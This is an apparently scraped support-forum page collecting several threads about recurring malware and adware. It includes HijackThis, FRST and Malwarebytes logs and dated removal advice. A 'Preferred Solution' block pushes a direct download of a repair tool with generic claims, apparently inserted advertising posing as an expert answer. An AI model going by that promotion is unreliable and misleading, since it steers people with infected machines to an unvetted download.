Computer Support Forum

:( These three programs keep coming back...

Question: :( These three programs keep coming back...

They're called Error Cleaner, Privacy Protector, and Spyware&Malware protection

But I know they're viruses because pop ups continually come up with them on, and they won't delete... Help please!
HijackThis log:
Logfile of HijackThis v1.99.1
Scan saved at 10:47:39 AM, on 12/26/2007
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.6000.16574)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Alwil Software\Avast4\aswUpdSv.exe
C:\Program Files\Alwil Software\Avast4\ashServ.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Common Files\Symantec Shared\ccApp.exe
C:\Program Files\QuickTime\QTTask.exe
C:\Program Files\Webroot\Spy Sweeper\SpySweeperUI.exe
C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\Yahoo!\Messenger\ymsgr_tray.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Symantec\LiveUpdate\ALUSchedulerSvc.exe
C:\Program Files\Common Files\Symantec Shared\ccSvcHst.exe
C:\Program Files\Webroot\Spy Sweeper\SpySweeper.exe
C:\Program Files\Common Files\Symantec Shared\AppCore\AppSvc32.exe
C:\Program Files\Webroot\Spy Sweeper\SSU.EXE
C:\Documents and Settings\SCULL\Desktop\HijackThis.exe
C:\WINDOWS\system32\wuauclt.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Alwil Software\Avast4\setup\avast.setup

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = http://red.clientapps.yahoo.com/customize/ycomp/defaults/sb/*http://www.yahoo.com/search/ie.html
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://red.clientapps.yahoo.com/customize/ycomp/defaults/sp/*http://www.yahoo.com
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://go.microsoft.com/fwlink/?LinkId=69157" target="_blank" class="invilink">http://go.microsoft.com/fwlink/?LinkId=69157
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://go.microsoft.com/fwlink/?LinkId=54896" target="_blank" class="invilink">http://go.microsoft.com/fwlink/?LinkId=54896
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=69157
R1 - HKCU\Software\Microsoft\Internet Explorer\SearchURL,(Default) = http://red.clientapps.yahoo.com/customize/ycomp/defaults/su/*http://www.yahoo.com
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyServer = ftp=61.19.245.7:80
R3 - URLSearchHook: AOLTBSearch Class - {EA756889-2338-43DB-8F07-D1CA6FB9C90D} - C:\Program Files\AOL\AOL Toolbar 2.0\aoltb.dll
R3 - URLSearchHook: Yahoo! Toolbar - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\Program Files\Yahoo!\Companion\Installs\cpn\yt.dll
O2 - BHO: &Yahoo! Toolbar Helper - {02478D38-C3F9-4efb-9B51-7695ECA05670} - C:\Program Files\Yahoo!\Companion\Installs\cpn\yt.dll
O2 - BHO: (no name) - {1E8A6170-7264-4D0F-BEAE-D42A53123C75} - C:\Program Files\Common Files\Symantec Shared\coShared\Browser\1.5\NppBho.dll
O2 - BHO: MSVPS System - {74C44274-2A2D-4A99-B00B-CCA3912349F3} - C:\WINDOWS\vipextpxm.dll
O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre1.6.0_01\bin\ssv.dll
O2 - BHO: AOL Toolbar Launcher - {7C554162-8CB7-45A4-B8F4-8EA1C75885F9} - C:\Program Files\AOL\AOL Toolbar 2.0\aoltb.dll
O2 - BHO: (no name) - {7E853D72-626A-48EC-A868-BA8D5E23E045} - (no file)
O3 - Toolbar: Yahoo! Toolbar - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\Program Files\Yahoo!\Companion\Installs\cpn\yt.dll
O3 - Toolbar: Show Norton Toolbar - {90222687-F593-4738-B738-FBEE9C7B26DF} - C:\Program Files\Common Files\Symantec Shared\coShared\Browser\1.5\UIBHO.dll
O3 - Toolbar: AOL Toolbar - {DE9C389F-3316-41A7-809B-AA305ED9D922} - C:\Program Files\AOL\AOL Toolbar 2.0\aoltb.dll
O4 - HKLM\..\Run: [ccApp] "C:\Program Files\Common Files\Symantec Shared\ccApp.exe"
O4 - HKLM\..\Run: [QuickTime Task] "C:\Program Files\QuickTime\QTTask.exe" -atboottime
O4 - HKLM\..\Run: [KernelFaultCheck] C:\WINDOWS\system32\dumprep 0 -k
O4 - HKLM\..\Run: [Symantec PIF AlertEng] "C:\Program Files\Common Files\Symantec Shared\PIF\{B8E1DD85-8582-4c61-B58F-2F227FCA9A08}\PIFSvc.exe" /a /m "C:\Program Files\Common Files\Symantec Shared\PIF\{B8E1DD85-8582-4c61-B58F-2F227FCA9A08}\AlertEng.dll"
O4 - HKLM\..\Run: [avast!] C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
O4 - HKLM\..\Run: [SpySweeper] "C:\Program Files\Webroot\Spy Sweeper\SpySweeperUI.exe" /startintray
O4 - HKCU\..\Run: [Yahoo! Pager] "C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe" -quiet
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O8 - Extra context menu item: &AOL Toolbar Search - c:\program files\aol\aol toolbar 2.0\resources\en-US\local\search.html
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.6.0_01\bin\ssv.dll
O9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.6.0_01\bin\ssv.dll
O9 - Extra button: AOL Toolbar - {3369AF0D-62E9-4bda-8103-B4C75499B578} - C:\Program Files\AOL\AOL Toolbar 2.0\aoltb.dll
O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - %windir%\Network Diagnostic\xpnetdiag.exe (file missing)
O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - %windir%\Network Diagnostic\xpnetdiag.exe (file missing)
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O11 - Options group: [INTERNATIONAL] International*
O16 - DPF: {AF2E62B6-F9E1-4D4F-A10A-9DC8E6DCBCC0} - http://update.videoegg.com/Install/Windows/Initial/VideoEggPublisher.exe
O18 - Protocol: livecall - {828030A1-22C1-4009-854F-8E305202313F} - C:\PROGRA~1\MSNMES~1\MSGRAP~1.DLL
O18 - Protocol: msnim - {828030A1-22C1-4009-854F-8E305202313F} - C:\PROGRA~1\MSNMES~1\MSGRAP~1.DLL
O20 - Winlogon Notify: WgaLogon - C:\WINDOWS\SYSTEM32\WgaLogon.dll
O20 - Winlogon Notify: WRNotifier - C:\WINDOWS\SYSTEM32\WRLogonNTF.dll
O21 - SSODL: WPDShServiceObj - {AAA288BA-9A4C-45B0-95D7-94D524869DB5} - C:\WINDOWS\system32\WPDShServiceObj.dll
O21 - SSODL: kopmet - {9459F9F2-4D5E-464B-A55B-0820CBCDA360} - C:\WINDOWS\kopmet.dll
O21 - SSODL: jetctrl - {CB91051D-1B2B-4B30-83E2-3F979A1A18F7} - C:\WINDOWS\jetctrl.dll
O23 - Service: avast! iAVS4 Control Service (aswUpdSv) - ALWIL Software - C:\Program Files\Alwil Software\Avast4\aswUpdSv.exe
O23 - Service: Automatic LiveUpdate Scheduler - Symantec Corporation - C:\Program Files\Symantec\LiveUpdate\ALUSchedulerSvc.exe
O23 - Service: avast! Antivirus - ALWIL Software - C:\Program Files\Alwil Software\Avast4\ashServ.exe
O23 - Service: avast! Mail Scanner - Unknown owner - C:\Program Files\Alwil Software\Avast4\ashMaiSv.exe" /service (file missing)
O23 - Service: avast! Web Scanner - Unknown owner - C:\Program Files\Alwil Software\Avast4\ashWebSv.exe" /service (file missing)
O23 - Service: Symantec Event Manager (ccEvtMgr) - Unknown owner - C:\Program Files\Common Files\Symantec Shared\ccSvcHst.exe" /h ccCommon (file missing)
O23 - Service: Symantec Settings Manager (ccSetMgr) - Unknown owner - C:\Program Files\Common Files\Symantec Shared\ccSvcHst.exe" /h ccCommon (file missing)
O23 - Service: Symantec Lic NetConnect service (CLTNetCnService) - Unknown owner - C:\Program Files\Common Files\Symantec Shared\ccSvcHst.exe" /h ccCommon (file missing)
O23 - Service: COM Host (comHost) - Symantec Corporation - C:\Program Files\Common Files\Symantec Shared\VAScanner\comHost.exe
O23 - Service: Symantec IS Password Validation (ISPwdSvc) - Symantec Corporation - C:\Program Files\Norton Internet Security\isPwdSvc.exe
O23 - Service: LiveUpdate - Symantec Corporation - C:\PROGRA~1\Symantec\LIVEUP~1\LUCOMS~1.EXE
O23 - Service: LiveUpdate Notice Service Ex (LiveUpdate Notice Ex) - Unknown owner - C:\Program Files\Common Files\Symantec Shared\ccSvcHst.exe" /h ccCommon (file missing)
O23 - Service: LiveUpdate Notice Service - Unknown owner - C:\Program Files\Common Files\Symantec Shared\PIF\{B8E1DD85-8582-4c61-B58F-2F227FCA9A08}\PIFSvc.exe" /m "C:\Program Files\Common Files\Symantec Shared\PIF\{B8E1DD85-8582-4c61-B58F-2F227FCA9A08}\PifEng.dll (file missing)
O23 - Service: Symantec Core LC - Unknown owner - C:\Program Files\Common Files\Symantec Shared\CCPD-LC\symlcsvc.exe
O23 - Service: Symantec AppCore Service (SymAppCore) - Symantec Corporation - C:\Program Files\Common Files\Symantec Shared\AppCore\AppSvc32.exe
O23 - Service: Webroot Spy Sweeper Engine (WebrootSpySweeperService) - Webroot Software, Inc. - C:\Program Files\Webroot\Spy Sweeper\SpySweeper.exe

Relevance 100%
Preferred Solution: :( These three programs keep coming back...

I recommend downloading and running Reimage. It's a computer repair tool that has been proven to identify and fix many Windows problems with a high level of success.

I've used it in the past to identify and fix everything from blue screens (BSOD's), ActiveX errors, corrupt files and processes, dll/exe/sys errors, recover lost memory, Windows update problems, defragging, malware removal etc.

You can download it direct from this link http://downloadreimage.com/download.php. (This link will automatically start a download of Reimage that you can save to your computer.)

Answer: :( These three programs keep coming back...

Download SDFix and save it to your Desktop.

Double click SDFix.exe and it will extract the files to %systemdrive%
(Drive that contains the Windows Directory, typically C:\SDFix)

Please then reboot your computer in Safe Mode by doing the following :
Restart your computer
After hearing your computer beep once during startup, but before the Windows icon appears, tap the F8 key continually;
Instead of Windows loading as normal, the Advanced Options Menu should appear;
Select the first option, to run Windows in Safe Mode, then press Enter.
Choose your usual account.

Open the extracted SDFix folder and double click RunThis.bat to start the script.
Type Y to begin the cleanup process.
It will remove any Trojan Services and Registry Entries that it finds then prompt you to press any key to Reboot.
Press any Key and it will restart the PC.
When the PC restarts the Fixtool will run again and complete the removal process then display Finished, press any key to end the script and load your desktop icons.
Once the desktop icons load the SDFix report will open on screen and also save into the SDFix folder as Report.txt
(Report.txt will also be copied to Clipboard ready for posting back on the forum).
Finally paste the contents of the Report.txt back on the forum with a new Hijack This log

1 more replies
Relevance 68.06%

When I uninstall programs like CashBuddy and Bull's Eye Network, or OIN they keep coming back. Is there any way for me to get the programs from keep coming back?
 

Answer:Solved: Programs keep coming back!!!

7 more replies
Relevance 68.06%

I do msconfig and stop the programs i dont want on the start up program but when i use Msn + Cyberlink i check in Msconfig later they are back in there again i do unclick them then apply + close is there another way to stop them,please

Answer:start up programs that keep coming back

Within the programs themselves there must be an option to start automatically. Have you checked in options / preferences for the programs?

5 more replies
Relevance 67.65%

Unfortunately, I find I need help again. I hope I haven't worn out my welcome here.

I have four programs that look suspicious and would appreciate it if anyone could tell me what they are. The programs are:

csmsn.exe
tstorm.exe
chewcal.exe
cmsnw.exe

All four were created initially at the beginning of October and have no version tab to identify who they belong to.

The first two are in the running processes and they both try to access 63.246.134.50 through port 9901 over tcp. When my firewall asks I block them both and then csmsn.exe hits the firewall every second afterwards, which it's doing right now.

I've deleted all four programs twice before, including the registry keys that say "satin - csmsn.exe" in Local Machine under both "Run" and "Run services". They stay away for several days and then all of a sudden they come back. They all just reappeared again today for the third time.

I run scans with Ad-aware with the latest reference files just about every day as well as Spybot Search and Destroy. I run Norton 2003 AV and also do the Trend Housecall on-line scan quite often as well.

I'm posting my Hijack This log and would appreciate any advice on this subject.

Logfile of HijackThis v1.97.2
Scan saved at 18:11:49, on 2003-10-12
Platform: Windows 2000 SP4 (WinNT 5.00.2195)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINNT\System32\smss.exe
C:\WINNT\system32\winlogon.exe
C:\WINNT\system32\s... Read more

Answer:Four suspicious programs keeping coming back....can you help please?

16 more replies
Relevance 66.01%

Got hit by a ton of malware a few days ago whereby many programs were installed on my pc and my passwords were apparently stolen as many of my accounts online were hacked. I changed my passwords and used  Malwarebytes along with Hitman Pro.  But my computer just keeps getting filled with malware. I cant install a new program because I get error 1909  (can't create a shortcut on the start menu)...and I seem to have a lot of runtime broker.exe in my task manager.
 
Please help!!!
 
 
 
Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version: 02.01.2018
Ran by Computer (administrator) on CHARLIELILA3 (10-01-2018 21:45:47)
Running from E:\OneDrive\Downloads
Loaded Profiles: Computer (Available Profiles: Computer)
Platform: Windows 10 Pro Version 1709 16299.192 (X64) Language: English (United States)
Internet Explorer Version 11 (Default browser: Chrome)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
 
==================== Processes (Whitelisted) =================
 
(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
 
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
(Apple Inc.) C:\Program Files\Common Files\Apple\... Read more

Answer:Cant Install Programs. Error 1909...Malware keeps coming back

Additional scan result of Farbar Recovery Scan Tool (x64) Version: 02.01.2018
Ran by Computer (10-01-2018 21:46:19)
Running from E:\OneDrive\Downloads
Windows 10 Pro Version 1709 16299.192 (X64) (2017-12-27 12:45:04)
Boot Mode: Normal
==========================================================
 
 
==================== Accounts: =============================
 
Administrator (S-1-5-21-2588603720-3480721931-583767859-500 - Administrator - Disabled)
Computer (S-1-5-21-2588603720-3480721931-583767859-1001 - Administrator - Enabled) => C:\Users\Computer
DefaultAccount (S-1-5-21-2588603720-3480721931-583767859-503 - Limited - Disabled)
Guest (S-1-5-21-2588603720-3480721931-583767859-501 - Limited - Disabled)
HomeGroupUser$ (S-1-5-21-2588603720-3480721931-583767859-1003 - Limited - Enabled)
WDAGUtilityAccount (S-1-5-21-2588603720-3480721931-583767859-504 - Limited - Disabled)
 
==================== Security Center ========================
 
(If an entry is included in the fixlist, it will be removed.)
 
AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
 
==================== Installed Programs ======================
 
(Only the adware programs with "Hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)
 
µTorrent (HKU\S-1-5-21-2588603720-3480721931-583767859-100... Read more

7 more replies
Relevance 55.35%

I've been having a a problem with the back left corner hinge since October of last year I poisted to another board about this problem hving been told that this issue would be passed onto support in my region. I'm currious as to weather I'll hear from these people in this lifetime or the next. I enjoy my Laptop and would like to continue using it but as time goes on it keeps seperating more and more and I have to snap it back into place to keep in together. I'm hoping to actually hear back from someone this time that will be able to help me in fixing this issue.

Answer:Back Corner coming from the back left side by the hinge

@jmb1313

 

I have brought your issue to the attention of an appropriate team within HP. They will likely request information from you in order to look up your case details or product serial number. Please look for a private message from an identified HP contact. Additionally, keep in mind not to publicly post personal information (serial numbers and case details).

If you are unfamiliar with how the Forum's private message capability works, you can learn about that here.

Thank you for visiting the HP Support Forum.

1 more replies
Relevance 53.71%

I already posted in How to remove Windows 10 upgrade updates in Windows 7 and 8
In this thread after the starting post from Tookeri other updates that had to be deleted were mentioned. I made a list in post 841
I did not have all these updates on the pc but those that were on it I hid.
Some of them came back and I hid them again.
Now today they are back - with some that I had not seen before.

I made an attachment that shows them and also shows that I hid them again

Will I have to check Windows Update for the rest of my live?????

More replies
Relevance 52.89%

Hello,
I have a problem ,which ive tried to fix serveral times but it keeps coming back.
This virus is located in Systems 32 folder, Pc Cilling 2005 identified it as TROJ_ROOTKIN.N . Ive gone
to safe mode, deleted it, returned to windows and the virus reapeared, wats more it clogs up Pc Cillin, so now under quarantine i have 100+ instances of this virus, and its increasing.
The virus is labelled hpr34k8

Im sure my Hijack Log is fairly clean... -------------------------------------

Logfile of HijackThis v1.99.1
Scan saved at 5:27:53 PM, on 14/08/2005
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\System32\RunDll32.exe
C:\WINDOWS\System32\RUNDLL32.EXE
C:\Program Files\Trend Micro\Internet Security 2005\pccguide.exe
C:\Program Files\Telstra\Cable Login\bpcable.exe
C:\Program Files\Netropa\Multimedia Keyboard\MMKeybd.exe
C:\Program Files\D-Tools\daemon.exe
C:\Program Files\SlySoft\CloneCD\CloneCDTray.exe
C:\Program Files\Telstra\Toolbar\bpumTray.exe
C:\Program Files\Java\jre1.5.0_04\bin\jusched.exe
C:\Program Files\Winamp\winampa.exe
C:\WINDOWS\System32\ctfmon.exe
C:\Program Files\MSN Messenger\MsnMsgr.Exe
C:\Program Files\Hewlett-Packard\Digital Imaging\bin... Read more

Answer:Virus that keeps coming back and back and back, so on

bump, hopefully someone takes notice

19 more replies
Relevance 49.2%

I have a PC i believe is infected.
i have run Combofix, it appears to find something and reboot but i am unable to tell by the log what it found.
i think it is still infected because if i run CF again, it says it needs to reboot to continue.
 ComboFix.txt   29.88KB
  5 downloads
 ComboFix2.txt   30.15KB
  3 downloads
 ComboFix3.txt   26.11KB
  2 downloads
 ComboFix4.txt   29.75KB
  3 downloads

Answer:it keeps coming back

Hello cgtrott, I will be handling your log to help you get cleaned up. I apologize for the delay but the forum is very busy and as you can see the logs we ask for are very extensive and take a lot of time to investigate. Please subscribe to this topic. Click on the Watch Topic button, select Immediate Notification and click on proceed.Make sure Word Wrap in notepad is turned off. When copying and pasting logs paste them directly in the reply box only attach logs if asked to. Do not wrap logs in codebox or code tags. It makes it very difficult to read and analyze them. Please paste them directly into the reply box. Do not make any changes to your system until we are through. Fixes are based upon information that is current from your system so any changes can affect our strategy. Please refrain from running any tools we may use without specific instructions.If your operating system is Windows Vista or Windows 7 it may be necessary to right click then choose Run as Administrator any programs we use.Before we begin please check and follow the instructions on How to Show Hidden Files and Folders in Windows Vista and Windows XP and How to show hidden files in Windows 7Because the e-mail notification system is not completely reliable, please check your topic once a day for responses.Please read carefully all directions and instructions. If you are instructed to save a tool to the desktop please save it to the desktop. If you have since resolved the original problem you were ha... Read more

2 more replies
Relevance 49.2%

windows securty 7 keeps coming bak after doing all the steps
 

Answer:it keeps coming back

Please attach the logs from both SUPERantispyware and MalwareBytes. Also run the below and attach the log.

I want you to run TDSSKiller so refer to the below for how to do so.

TDSSkiller - How to run
 

11 more replies
Relevance 49.2%

Greetings everyone I need some help.

First off... I have followed all the proceedures listed on the READ ME thread that is asked and I STILL AM HAVING ISSUES.

I have Ad-Aware SE and with the VX add.

I have HiJackThis v1.99 and have followed the steps on that thread as well.

Here is the problem:

I run Ad-Aware everytime I log on, and even in safe mode. It finds beween 8 and 60 items. Mostly Malware and DataMiners. Then once I fix those I rescan and it comes up clean. However, I am still getting pop-ups, I have EnhanceMySearch, and when I log off and log back in... and re-run Ad-Aware I still have 8-60 items that show up and the same problem persists.

Can anyone help and point me in the right direction? It is a major annoyance. THANKS TO EVERYONE IN ADVANCE!!
 

Answer:It all just keeps coming back

Make sure you have HijackThis 1.99 and follow the guidelines on where to install it and how to post a log as an attachment. This is all covered in the sticky thread NO HIJACK THIS LOG FILES BEFORE READING THIS: HJT Tutorial & LOG File Posting

Now post a HijackThis log as an attachment to your message (Do not post the log inline). All running programs should be closed, including your web browser, e-mail. Close before running Hijack This!

To repeat: Do NOT run Hijack This from the Desktop, a temp folder, or a sub-folder of C:\Documents and Settings, or choose to run it directly from the downloaded ZIP file. Place it in its own folder, for example C:\Program Files\HJT
 

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Relevance 49.2%

Hello, after removing numerous malwares, str.sys keep coming back even though i removed it several times.Here's the log, thanks for your help.Logfile of Trend Micro HijackThis v2.0.2Scan saved at 8:22:19 PM, on 7/16/2009Platform: Windows Vista SP1 (WinNT 6.00.1905)MSIE: Internet Explorer v7.00 (7.00.6001.18000)Boot mode: NormalRunning processes:C:\Windows\system32\Dwm.exeC:\Windows\Explorer.EXEC:\Windows\system32\taskeng.exeC:\Program Files\Synaptics\SynTP\SynTPEnh.exeC:\Program Files\Toshiba\Utilities\KeNotify.exeC:\Program Files\Common Files\Symantec Shared\ccApp.exeC:\Program Files\Symantec AntiVirus\VPTray.exeC:\Windows\System32\hkcmd.exeC:\Windows\System32\igfxpers.exeC:\Program Files\QuickTime\QTTask.exeC:\Program Files\iTunes\iTunesHelper.exeC:\Program Files\Synaptics\SynTP\SynToshiba.exeC:\Windows\system32\igfxsrvc.exeC:\Windows\ehome\ehtray.exeC:\Program Files\Common Files\Nero\Lib\NMBgMonitor.exeC:\Windows\ehome\ehmsas.exeC:\Program Files\Internet Explorer\iexplore.exeC:\Program Files\Common Files\Nero\Lib\NMIndexStoreSvr.exeC:\Program Files\Symantec AntiVirus\DoScan.exeC:\Program Files\Synaptics\SynTP\SynTPHelper.exeC:\Program... Read more

Answer:Str.sys keep coming back, help!

Hello and welcome to Bleeping ComputerWe apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here.If you have since resolved the original problem you were having, we would appreciate you letting us know. If not please perform the following steps below so we can have a look at the current condition of your machine. If you have not done so, include a clear description of the problems you're having, along with any steps you may have performed so far.Upon completing the steps below another staff member will review and take the steps necessary with you to get your machine back in working order clean and free of malware.If you have already posted a DDS log, please do so again, as your situation may have changed.Use the 'Add Reply' and add the new log to this thread.Thanks and again sorry for the delay.We need to see some information about what is happening in your machine. Please perform the following scan:Download DDS by sUBs from one of the following links. Save it to your desktop.DDS.scrDDS.pifDouble click on the DDS icon, allow it to run.A small box will open, with an explaination about the tool. No input is needed, the scan is running.Notepad will open with the results.Foll... Read more

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Question: keeps coming back

I keep running scans and it cleans the computer sometimes. I will encounter xp antispyware 2009 and 2008 telling me that my computer is infected. It posts a permanent box on my desktop saying infected and keeps popping up at bottom right by time clock saying infected. I will run anti malwarebytes and it will clean it only if i do quick scan. But then i will run full scan and it freezes so i know it is still infected. And sure enough a few days later it is all back. Please help. I also run cc cleaner and norton but norton freezes too. I have also tried in safemode but still freezes. Thanks Any and all help is greatly appreciated.

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 5:56:21 PM, on 10/8/2008
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Intel\Wireless\Bin\EvtEng.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Intel\Wireless\Bin\S24EvMon.exe
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\Program Files\Lavasoft\Ad-Aware 2007\aawservice.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Common Files\AOL\ACS\AOLAcsd.exe
C:\Program Files\Common Files\AOL\TopSpeed\2.0\aoltsmon.exe
C:\WINDOWS\eHome\ehRecvr.exe
C:\WINDOWS\eHome\ehSched.exe
C:\Program Files\Intel\Inte... Read more

Answer:keeps coming back

bump
 

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Question: Keeps coming back

Ok guys not sure what I keep missing but the 020 line keeps coming back and changing it name.

I have ran CWS, ewido, Killbox ( and delete after reboot) VirtumundoBegone
Logfile of HijackThis v1.99.1
Scan saved at 11:25:30 AM, on 1/22/2006
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Sygate\SPF\smc.exe
C:\WINDOWS\system32\spoolsv.exe
C:\PROGRA~1\Grisoft\AVGFRE~1\avgamsvr.exe
C:\PROGRA~1\Grisoft\AVGFRE~1\avgupsvc.exe
C:\WINDOWS\system32\drivers\KodakCCS.exe
C:\WINDOWS\System32\nvsvc32.exe
C:\WINDOWS\system32\rundll32.exe
C:\WINDOWS\Explorer.EXE
C:\PROGRA~1\Grisoft\AVGFRE~1\avgcc.exe
C:\PROGRA~1\Grisoft\AVGFRE~1\avgemc.exe
C:\Program Files\iTunes\iTunesHelper.exe
C:\Program Files\Hijack This\TrojanHunter 4.2\THGuard.exe
C:\Program Files\QuickTime\qttask.exe
C:\Program Files\iPod\bin\iPodService.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\Program Files\Hijack This\HijackThis.exe

R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.comcast.net/
O3 - Toolbar: AIM Search - {40D41A8B-D79B-43d7-99A7-9EE0F344C385} - C:\Program Files\AIM Toolbar\AIMBar.dll
O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
O4 - HKLM\..\Run: [NvCplDae... Read more

Answer:Keeps coming back

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Hey everyone this is the first time I have posted anything but i am having some serious problems. I let my brother borrow my laptop and when i got it back it was infected bad.
I have pc-cillin, Malwarebytes, and SuperAnti-Spyware.
SuperAnti-Spyware seems to clean everything after i scan and reboot but there are two things that keep coming back on the next re-boot.
1. Pc-cillin keeps giving me a waring telling me to close the browser when its not open with the web address of 110/rjsa/select.php?a=6707a0a cd82d9318fa98c6ee396eed8e61fcf4200553e0c95d8b1d81bbda3c1b&b=1001&c=1
2. There is a sys32 file that gets deleted and always comes back on reboot its MoIXWA40.dll
Pc-Cillin tells me this is a trojan.bho and says its will delete on reboot.
please help me this is so frustrating it slows everything down sooo slow.
 

Answer:Pop-Ups keep coming back

Hi, Welcome to TSG!!
Click here to download HJTInstall.exe

Save HJTInstall.exe to your desktop.
Doubleclick on the HJTInstall.exe icon on your desktop.
By default it will install to C:\Program Files\Trend Micro\HijackThis .
Click on Install.
It will create a HijackThis icon on the desktop.
Once installed, it will launch Hijackthis.
Click on the Do a system scan and save a logfile button. It will scan and the log should open in notepad.
Click on "Edit > Select All" then click on "Edit > Copy" to copy the entire contents of the log.
Come back here to this thread and Paste the log in your next reply.
DO NOT have Hijackthis fix anything yet. Most of what it finds will be harmless or even required.

 

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I am trying to clean out a co-worker's computer. I have restored to over a month ago and continue to find malware during scans. Any help appreciaded. Have not yet restarted to fully remove. Do I need to kill some files will killbox prior to the restart? Thanks, Jeff

Malwarebytes' Anti-Malware 1.45
www.malwarebytes.org

Database version: 3930

Windows 6.0.6001 Service Pack 1
Internet Explorer 7.0.6001.18000

3/31/2010 2:19:22 PM
mbam-log-2010-03-31 (14-19-22).txt

Scan type: Full scan (C:\|)
Objects scanned: 231065
Time elapsed: 1 hour(s), 11 minute(s), 19 second(s)

Memory Processes Infected: 0
Memory Modules Infected: 0
Registry Keys Infected: 0
Registry Values Infected: 0
Registry Data Items Infected: 0
Folders Infected: 1
Files Infected: 5

Memory Processes Infected:
(No malicious items detected)

Memory Modules Infected:
(No malicious items detected)

Registry Keys Infected:
(No malicious items detected)

Registry Values Infected:
(No malicious items detected)

Registry Data Items Infected:
(No malicious items detected)

Folders Infected:
C:\Windows\System32\config\systemprofile\AppData\Roaming\AntiVirus Plus (Rogue.AntiVirusPlus) -> Quarantined and deleted successfully.

Files Infected:
C:\$Recycle.Bin\S-1-5-21-2658977195-169558386-357108580-1000\$RR7NTAN.tmp (Trojan.Agent.Gen) -> Quarantined and deleted successfully.
C:\Windows\System32\config\systemprofile\AppData\Roaming\avp.ico (Rogue.AntiVirusPlus) -> Quarantined and deleted successfully.
C:\Wi... Read more

Answer:ave.exe keeps coming back

